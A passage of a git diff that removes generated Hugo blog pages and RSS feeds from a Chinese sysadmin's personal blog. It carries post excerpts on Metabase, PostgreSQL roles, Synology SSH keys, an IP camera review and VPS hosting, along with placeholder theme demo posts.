    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇

    - -

    https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux

    - -

    或者是這篇

    - -

    https://www.maketecheasier.com/mount-google-drive-ubuntu/

    - -

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/author/eric-chang/index.xml b/themes/public/author/eric-chang/index.xml deleted file mode 100644 index 68c7e521..00000000 --- a/themes/public/author/eric-chang/index.xml +++ /dev/null @@ -1,145 +0,0 @@ - - - - Eric Chang on MC部落 - https://h.cowbay.org/author/eric-chang/ - Recent content in Eric Chang on MC部落 - Hugo -- gohugo.io - Thu, 15 Nov 2018 11:06:28 +0800 - - - - - - [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - Thu, 15 Nov 2018 11:06:28 +0800 - - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - <p>最近在測試metabase,記得幾個月前就有測試過</p> - -<p>但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的</p> - -<p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> - -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> - - - - PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者 - https://h.cowbay.org/post/copy_role_in_pgsql/ - Mon, 12 Nov 2018 09:48:12 +0800 - - https://h.cowbay.org/post/copy_role_in_pgsql/ - <p>因為工作上的需求,有個資料庫需要開放給不同team的人去存取</p> - -<p>雖然都是在同一台機器上的同一個資料庫</p> - -<p>但是希望能夠不同team的人用不同的資料庫使用者</p> - -<p>這樣萬一出事,會比較好抓兇手??</p> - -<p></p> - - - - [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係? - https://h.cowbay.org/post/weird-client-server-connection/ - Thu, 08 Nov 2018 18:01:23 +0800 - - https://h.cowbay.org/post/weird-client-server-connection/ - <p>這是發生在一個夜黑風高的寂寥深夜&hellip;.. ( What The FXXX &hellip; )</p> - -<p>來到這個環境之後,有一個很詭異的狀況一直困擾著我</p> - -<p>在每個分公司,都會有一台伺服器作為KVM Host</p> - -<p>上面跑兩台VM,一台作為ansible controller (目前沒作用)</p> - -<p>另一台作為這邊所謂的 &ldquo;Build Server&rdquo;</p> - -<p>用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)</p> - -<p>問題就發生在這台 Build Server 上&hellip;</p> - -<p></p> - - - - Nice Du Report Tool Durep - https://h.cowbay.org/post/nice-du-report-tool-durep/ - Tue, 06 Nov 2018 15:24:29 +0800 - - https://h.cowbay.org/post/nice-du-report-tool-durep/ - <p>最近在重新規劃前人留下的backup爛攤子 -各個伺服器統一備份到一台backup storage -想說如果每天能夠看到backup storage的磁碟用量的話 -就可以抓出備份空間成長速度、推估需要多大的磁碟空間 -找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求</p> - - - - Bookstack Docker - https://h.cowbay.org/post/bookstack-docker/ - Tue, 06 Nov 2018 14:57:14 +0800 - - https://h.cowbay.org/post/bookstack-docker/ - <p>Bookstack 是一套非常好用的線上&rdquo;筆記&rdquo;系統</p> - -<p>他用圖書館/書本的概念,讓使用者可以建立自己的&rdquo;圖書館&rdquo;</p> - -<p>同時在圖書館內建立不同的&rdquo;書籍&rdquo;</p> - -<p>而且支援 Markdown 語法</p> - -<p>其他的方式像是在nextcloud上編輯 md檔案(字體太小)</p> - -<p>或者是boostnote(只能在本機)</p> - -<p>都或多或少有點小缺點</p> - -<p>Bookstack則是沒有這些問題,不過就是系統「大」了點&hellip;</p> - -<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> - -<p></p> - - - - 筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入 - https://h.cowbay.org/articles/enable-synology-public-ssh/ - Mon, 05 Nov 2018 14:16:54 +0800 - - https://h.cowbay.org/articles/enable-synology-public-ssh/ - <p>公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來</p> - -<p>這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇</p> - -<p><a href="https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux">https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux</a></p> - -<p>或者是這篇</p> - -<p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> - -<p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> - - - - Sammy93 - https://h.cowbay.org/gallery/sammy93/ - Mon, 05 Nov 2018 07:46:53 +0800 - - https://h.cowbay.org/gallery/sammy93/ - - - - - \ No newline at end of file diff --git a/themes/public/author/index.html b/themes/public/author/index.html deleted file mode 100644 index 3c13971c..00000000 --- a/themes/public/author/index.html +++ /dev/null @@ -1,308 +0,0 @@ - - - - - - - - - - Author | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - -
    -
    - - - - - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/author/index.xml b/themes/public/author/index.xml deleted file mode 100644 index ca3deb0a..00000000 --- a/themes/public/author/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Author on MC部落 - https://h.cowbay.org/author/ - Recent content in Author on MC部落 - Hugo -- gohugo.io - - - - - - Eric Chang - https://h.cowbay.org/author/eric-chang/ - Thu, 15 Nov 2018 11:06:28 +0800 - - https://h.cowbay.org/author/eric-chang/ - - - - - \ No newline at end of file diff --git a/themes/public/author/lednerb/index.html b/themes/public/author/lednerb/index.html deleted file mode 100644 index 53131bc0..00000000 --- a/themes/public/author/lednerb/index.html +++ /dev/null @@ -1,498 +0,0 @@ - - - - - - - - - - Lednerb | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/author/lednerb/index.xml b/themes/public/author/lednerb/index.xml deleted file mode 100644 index bd9c9e98..00000000 --- a/themes/public/author/lednerb/index.xml +++ /dev/null @@ -1,36 +0,0 @@ - - - - Lednerb on My cool new Blog - https://h.cowbay.org/author/lednerb/ - Recent content in Lednerb on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:01:26 +0100 - - - - - - My Trip to Scotland - https://h.cowbay.org/gallery/my-trip-to-scotland/ - Wed, 01 Nov 2017 18:01:26 +0100 - - https://h.cowbay.org/gallery/my-trip-to-scotland/ - In June 2017 I&rsquo;ve visited Scotland with my best friend for two weeks. We drove a lot through the beautiful countryside and saw a lot of different animals: cattle, deer, birds, dolphins, and sheep. Sheep everywhere! -At one beautiful camping site, we saw cattle in fog in the very early morning and took a picture of it. The image now has the title &ldquo;Rindviehcher im Nebel&rdquo;, a quite funny German phrase that means cattle in the fog. - - - - Installing Bilberry Theme - https://h.cowbay.org/code/installing-bilberry-theme/ - Wed, 01 Nov 2017 09:31:27 +0100 - - https://h.cowbay.org/code/installing-bilberry-theme/ - <p>You will find all information to setup this theme with your hugo site -on the official <br> <a href="https://github.com/Lednerb/bilberry-hugo-theme">Github Repository</a>.</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/author/lednerb/page/1/index.html b/themes/public/author/lednerb/page/1/index.html deleted file mode 100644 index f0f43659..00000000 --- a/themes/public/author/lednerb/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/author/lednerb/ \ No newline at end of file diff --git a/themes/public/author/test1/index.html b/themes/public/author/test1/index.html deleted file mode 100644 index 02868804..00000000 --- a/themes/public/author/test1/index.html +++ /dev/null @@ -1,735 +0,0 @@ - - - - - - - - - - Test1 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Hugo is for lovers

    -
    - - - 2015-08-03 - - - - - - - - - pseudo - - - - - - test1 - -
    - - - Step 1. Install Hugo Goto hugo releases and download the appropriate version for your os and architecture. -Save it somewhere specific as we will be using it in the next step. -More complete instructions are available at installing hugo -Step 2. Build the Docs Hugo has its own example site which happens to also be the documentation site you are reading right now. -Follow the following steps: - Clone the hugo repository Go into the repo Run hugo in server mode and build the docs Open your browser to http://localhost:1313 Corresponding pseudo commands: - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - Introduction This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme. -We’ll start with creating a new site with a very basic template. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - Introduction This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme. -We’ll start with creating a new site with a very basic template. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - Introduction This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme. -We’ll start with creating a new site with a very basic template. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - Introduction This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme. -We’ll start with creating a new site with a very basic template. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - Introduction This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme. -We’ll start with creating a new site with a very basic template. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/author/test1/page/1/index.html b/themes/public/author/test1/page/1/index.html deleted file mode 100644 index a76d6505..00000000 --- a/themes/public/author/test1/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/author/test1/ \ No newline at end of file diff --git a/themes/public/author/test2/index.html b/themes/public/author/test2/index.html deleted file mode 100644 index 813b1f95..00000000 --- a/themes/public/author/test2/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - Test2 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Go is for lovers

    -
    - - - 2015-09-17 - - - - - - - - - programming - - - - - - test2 - -
    - - - Hugo uses the excellent go html/template library for its template engine. It is an extremely lightweight engine that provides a very small amount of logic. In our experience that it is just the right amount of logic to be able to create a good static website. If you have used other template systems from different languages or frameworks you will find a lot of similarities in go templates. -This document is a brief primer on using go templates. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/author/test2/page/1/index.html b/themes/public/author/test2/page/1/index.html deleted file mode 100644 index c4ce6144..00000000 --- a/themes/public/author/test2/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/author/test2/ \ No newline at end of file diff --git a/themes/public/categories/3c精品/index.html b/themes/public/categories/3c精品/index.html deleted file mode 100644 index 4992cbf0..00000000 --- a/themes/public/categories/3c精品/index.html +++ /dev/null @@ -1,496 +0,0 @@ - - - - - - - - - - 3c精品 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [雜念] AVTECH AVN701EZ IPCAM 使用心得

    -
    - - - 2014-04-28 - - - - - - - - - 3C精品 - - - - - -
    - - - 前陣子因為家裡遭小偷,損失了五六萬左右的現金和3C -所以終於下定決心,買了一直想用的IPCAM來玩玩! -不過因為是第一次用,所以還是先找找看入門級的機種 -在Y拍上剛好看到有人在賣 AVTECH AN701EZ ,還不到一千塊,AVTECH牌子也不算小,至少比起一些大陸的白牌設備來說。 -而且在台灣也有客服支援,想說就玩玩看吧! -不過不知道是因為這支IPCAM的定位(入門、簡易),還是我對IPCAM的瞭解不夠 -使用上總覺得不夠理想,簡單說明筆記一下 -  -1.PUSH VIDEO 的時間太短、常常異常、看不到影片、在手機上啟動APP的時間太久 -會看上這支,很大的原因是因為PUSH VIDEO這個功能 -簡單來說就是當偵測到異常發生,IPCAM會把事件前後的影片發出到手機 <–這是我的理解 -不過,事情果然不像我想的這麼單純 -這支AN701EZ的PUSH VIDEO 是會在你的手機提示有偵測到異常 -然後你要打開程式,到回放的功能去播放(只有播放,不能下載,下載的功能要另外付費買PRO版的軟體才有) -好,其實這樣也還OK,但是呢! -實際上的影片並沒有真的傳送出來,APP上只是顯示偵測異常 -要回放影片,還是要連回去IPCAM的記憶體播放(只有10M)! -也就是說,如果這支IPCAM被發現了,然後不管是拔掉電源、拔掉網路線,人在外面,就已經連不上了! -那這樣還有個屁用喔!? -再來,在手機上要啟動那個EAGLE EYE的APP常常會在那邊轉個二三十秒,我已經用iPhone5了,手機效率還是不夠好嗎? -而且在IPHONE手機上看影片只有 352x240 …..規格上號稱720x480 ,結果只能在IPAD或者是 Android上用720x480的解析度瀏覽 -IPHONE的說還在改……. -  -2.偵測很容易發生異常 -我開啟了移動偵測以及人體紅外線偵測,不過不曉得是「太靈敏」了,還是其他什麼問題 -常常會觸發錄影,但是畫面上卻又沒啥動靜,放一段白天和一段晚上觸發的錄影看看 -http://youtu.be/UTnzSUoPwfI -http://youtu.be/P4nMVe-AYO4 -晚上的那段影片,還勉強可以解釋為畫面左邊書房的電腦上的LED引起觸發 -白天的影片,我真的看不出來哪裡有異常.. -而且錄影的時間只有三秒鐘,我是覺得太少了點,30秒可能會好一點.. -  -3.手機的提示很容易出問題 -在手機上開啟/關閉主動偵測,正常應該要有提示訊息的,可是有時候就是會收不到訊息 -像底下這張圖,這是我今天早上出門時設定的,可以看到訊息幾乎晚了一個小時才出現…. -如果是異常的通報,一個小時都不知道破壞到哪去了,搞不好IPCAM都被拆了,還能看到什麼?? -  - -  -4.鏡頭變形 -從上面的影片可以看到,變形得滿厲害的,廠商回覆是說因為要為了廣角,所以才會這樣,問題是,角度也沒很大啊 = = -  -講了那麼多,簡單說一下我自己心目中想要的IPCAM功能吧 -1.不管有沒有內建記憶卡,都要能持續錄影 -2.錄影的檔案,應該要能即時上傳到外部空間,不管是FTP、AMAZON、DROPBOX等等 -3.跟防盜主機一樣,由APP去遙控,出門前按一下,就開始監控,回家前先解除,解除後就不再對動態、紅外線等等偵測。要不然現在我回到家了,偵測還是持續在進行, -然後我是設定偵測異常時,不發警報,但是會把檔案上傳到FTP,結果FTP上的空間就會越來越多…還要自己寫SCRIPT去刪除… -總之呢,這支IPCAM,入門玩玩可以,真的要用的話,我可能還是會把這支賣掉,換其他比較高階的機種看看能不能符合我的需求吧… -  -update -補上一張在Android手機下看到的結果,不是我在講,這畫質是真的很糟糕吧…. -  - -  - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/3c精品/page/1/index.html b/themes/public/categories/3c精品/page/1/index.html deleted file mode 100644 index 8593f9d0..00000000 --- a/themes/public/categories/3c精品/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/3c%E7%B2%BE%E5%93%81/ \ No newline at end of file diff --git a/themes/public/categories/blog/index.html b/themes/public/categories/blog/index.html deleted file mode 100644 index 13803fa1..00000000 --- a/themes/public/categories/blog/index.html +++ /dev/null @@ -1,620 +0,0 @@ - - - - - - - - - - Blog | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [BLOG] 新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    -
    - - - 2016-03-10 - - - - - - - - - BLOG - - - - - -
    - - -

    新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    - -

    前幾天因為DO的WP主機速度不理想,就連拿來當作上PTT的跳板都會頓爹

    - -

    所以把主機換到了vultr 的東京機房,光是ping值就從 14x ms 下降到了 4x ms,整個大改善啊!

    - -

    而且方案從原本的 10USD 換成了 5USD (1 cpu / 768M/15G) ,裝好FreeBSD拿來跑 WP算是綽綽有餘

    - -

    不過因為這台還當作 pydio 主機來用, 15G的空間實在不夠用

    - -

    發TICKET詢問客服能不能增加硬碟空間,客服表示只能upgrade plan

    - -

    但是再往上一級的10 USD方案,也只有 20G,多了 5 USD 只有多5G空間(好啦 還有流量也增加,問題是我用不到流量啊…)

    - -

    算一算,實在不是很划算

    - -

    就在這個摸門特,發現了 vultr 有 Storage Instance !

    - -

    只要 5USD 就有一台虛擬主機 (1 cpu / 512M/125G SATA HD)

    - -

    怎麼算都比upgrade 到 10USD的方案划算,而且價格一樣!

    - -

    二話不說,馬上申請一台,一樣跑FreeBSD 10.2,打算拿來當作儲存空間用

    - -

    至於要用 sshfs / curlftpfs  / nfs /iscsi 則是還沒決定,且戰且走

    - -

     

    - -
    - -

     

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [BLOG]Wordpress上超好用的備份外掛 BackWPup

    -
    - - - 2013-10-07 - - - - - - - - - BLOG - - - - - -
    - - - 這兩天因為VPS搬家的關係,又稍微研究了一下WP的備份外掛。 -本來我是用snapshot backup / simple backup -這兩個都支援自動排程和備份到遠端的功能。 -不過,都不支援RESTORE…雖說我在還原時,大部分都是在CONSOLE底下直接操作,不過還是希望外掛能夠考慮到這一點。 -看到snapshot backup的作者,有開發了另一套新的備份外掛– BackWPup -可以排程、備份到遠端(FTP/AMAZON S3/DROPBOX),也加入了還原的功能!(不過我大概還是不會去軟體裡面用吧,直接在CONSOLE底下解壓縮、MYSQLDUMP快多了),而且LOG很詳細!可以直接看到BACKUP SCRIPT在執行的情況,非常方便! -可以在備份工作列表中,直接啟動備份。還會有進度可以看! - -  -  -  -按下 Display Working Log ,就會出現備份SCRIPT執行的狀況,拿來DEBUG再方便不過了! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [其他]沒想到我的網頁在GOOGLE排名這麼高?

    -
    - - - 2013-07-05 - - - - - - - - - BLOG - - - - - -
    - - - 早上意外收到群暉的客服主管來信,大意是說之前PO了一篇對群暉客服的碎碎念 -結果在GOOGLE搜尋時,因為排名比較前面,不小心被這位主管看到了,所以來信致意一下這樣。 -我就很好奇,隨手去搜尋了一下「群暉 客服」,結果跑出來的結果排第四,小輸官網、104、還有M01 -  -  -該說wordpress的SEO作太好了嗎?  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [碎碎念]精神不好的時候,不要砍檔或重灌OS...

    -
    - - - 2013-03-11 - - - - - - - - - BLOG - - - - - -
    - - -

    本來BLOG放得好好的,雖然偶爾要重開,但是一直都沒出什麼大問題。

    - -

    今天為了要測試postfix 的Virtual Mail Box,雖然在公司內的VM跑起來了。

    - -

    但是畢竟沒有實際把MX給指進來,沒有真的運作,感覺不踏實。

    - -

    所以把DB先備份起來,接著就去VPS的Control Panel 給Reinstall了……

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/blog/page/1/index.html b/themes/public/categories/blog/page/1/index.html deleted file mode 100644 index 5c28dff0..00000000 --- a/themes/public/categories/blog/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/blog/ \ No newline at end of file diff --git a/themes/public/categories/code/index.html b/themes/public/categories/code/index.html deleted file mode 100644 index e6ba67c5..00000000 --- a/themes/public/categories/code/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - Code | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/code/index.xml b/themes/public/categories/code/index.xml deleted file mode 100644 index 5af3c1c2..00000000 --- a/themes/public/categories/code/index.xml +++ /dev/null @@ -1,26 +0,0 @@ - - - - Code on My cool new Blog - https://h.cowbay.org/categories/code/ - Recent content in Code on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 09:31:27 +0100 - - - - - - Installing Bilberry Theme - https://h.cowbay.org/code/installing-bilberry-theme/ - Wed, 01 Nov 2017 09:31:27 +0100 - - https://h.cowbay.org/code/installing-bilberry-theme/ - <p>You will find all information to setup this theme with your hugo site -on the official <br> <a href="https://github.com/Lednerb/bilberry-hugo-theme">Github Repository</a>.</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/categories/code/page/1/index.html b/themes/public/categories/code/page/1/index.html deleted file mode 100644 index 4e969bc3..00000000 --- a/themes/public/categories/code/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/code/ \ No newline at end of file diff --git a/themes/public/categories/hexo/page/1/index.html b/themes/public/categories/hexo/page/1/index.html deleted file mode 100644 index f69d7584..00000000 --- a/themes/public/categories/hexo/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/hexo/ \ No newline at end of file diff --git a/themes/public/categories/holidays/index.html b/themes/public/categories/holidays/index.html deleted file mode 100644 index 06e29cef..00000000 --- a/themes/public/categories/holidays/index.html +++ /dev/null @@ -1,426 +0,0 @@ - - - - - - - - - - Holidays | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/holidays/index.xml b/themes/public/categories/holidays/index.xml deleted file mode 100644 index 2a23abfc..00000000 --- a/themes/public/categories/holidays/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - Holidays on My cool new Blog - https://h.cowbay.org/categories/holidays/ - Recent content in Holidays on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:01:26 +0100 - - - - - - My Trip to Scotland - https://h.cowbay.org/gallery/my-trip-to-scotland/ - Wed, 01 Nov 2017 18:01:26 +0100 - - https://h.cowbay.org/gallery/my-trip-to-scotland/ - In June 2017 I&rsquo;ve visited Scotland with my best friend for two weeks. We drove a lot through the beautiful countryside and saw a lot of different animals: cattle, deer, birds, dolphins, and sheep. Sheep everywhere! -At one beautiful camping site, we saw cattle in fog in the very early morning and took a picture of it. The image now has the title &ldquo;Rindviehcher im Nebel&rdquo;, a quite funny German phrase that means cattle in the fog. - - - - \ No newline at end of file diff --git a/themes/public/categories/holidays/page/1/index.html b/themes/public/categories/holidays/page/1/index.html deleted file mode 100644 index 5e097a33..00000000 --- a/themes/public/categories/holidays/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/holidays/ \ No newline at end of file diff --git a/themes/public/categories/hugo/index.html b/themes/public/categories/hugo/index.html deleted file mode 100644 index 6ae6e630..00000000 --- a/themes/public/categories/hugo/index.html +++ /dev/null @@ -1,394 +0,0 @@ - - - - - - - - - - Hugo | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/hugo/index.xml b/themes/public/categories/hugo/index.xml deleted file mode 100644 index 87710ccd..00000000 --- a/themes/public/categories/hugo/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Hugo on My cool new Blog - https://h.cowbay.org/categories/hugo/ - Recent content in Hugo on My cool new Blog - Hugo -- gohugo.io - Wed, 31 Oct 2018 00:00:00 +0000 - - - - - - 筆記 HUGO 主題 Lednerb/bilberry-hugo-theme - https://h.cowbay.org/article/hugo-theme-bliberry/ - Wed, 31 Oct 2018 00:00:00 +0000 - - https://h.cowbay.org/article/hugo-theme-bliberry/ - test 1 - - - - \ No newline at end of file diff --git a/themes/public/categories/hugo/page/1/index.html b/themes/public/categories/hugo/page/1/index.html deleted file mode 100644 index 53efa2ad..00000000 --- a/themes/public/categories/hugo/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/hugo/ \ No newline at end of file diff --git a/themes/public/categories/index.html b/themes/public/categories/index.html deleted file mode 100644 index 2f8d7d5c..00000000 --- a/themes/public/categories/index.html +++ /dev/null @@ -1,310 +0,0 @@ - - - - - - - - - - Categories | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - -
    -
    - - - - - -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/index.xml b/themes/public/categories/index.xml deleted file mode 100644 index f13f180c..00000000 --- a/themes/public/categories/index.xml +++ /dev/null @@ -1,31 +0,0 @@ - - - - Categories on MC部落 - https://h.cowbay.org/categories/ - Recent content in Categories on MC部落 - Hugo -- gohugo.io - - - - - - Ps - https://h.cowbay.org/categories/ps/ - Mon, 05 Nov 2018 07:46:53 +0800 - - https://h.cowbay.org/categories/ps/ - - - - - 筆記 - https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98/ - Thu, 15 Nov 2018 11:06:28 +0800 - - https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98/ - - - - - \ No newline at end of file diff --git a/themes/public/categories/lorem/index.html b/themes/public/categories/lorem/index.html deleted file mode 100644 index 738dab30..00000000 --- a/themes/public/categories/lorem/index.html +++ /dev/null @@ -1,465 +0,0 @@ - - - - - - - - - - Lorem | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Hugo Travelify Theme Features

    -
    - - - 2016-06-28 - - - - - - - - - lorem - - - - - -
    - - -

    Hugo-Travelify-Theme is the Hugo version of the Wordpress theme - Travelify . The source code was adapted from digitalcraftsman’s Icarus theme with a few changes for additional features (Even this README is a fork from his original theme README :)).

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Migrate from Jekyll

    -
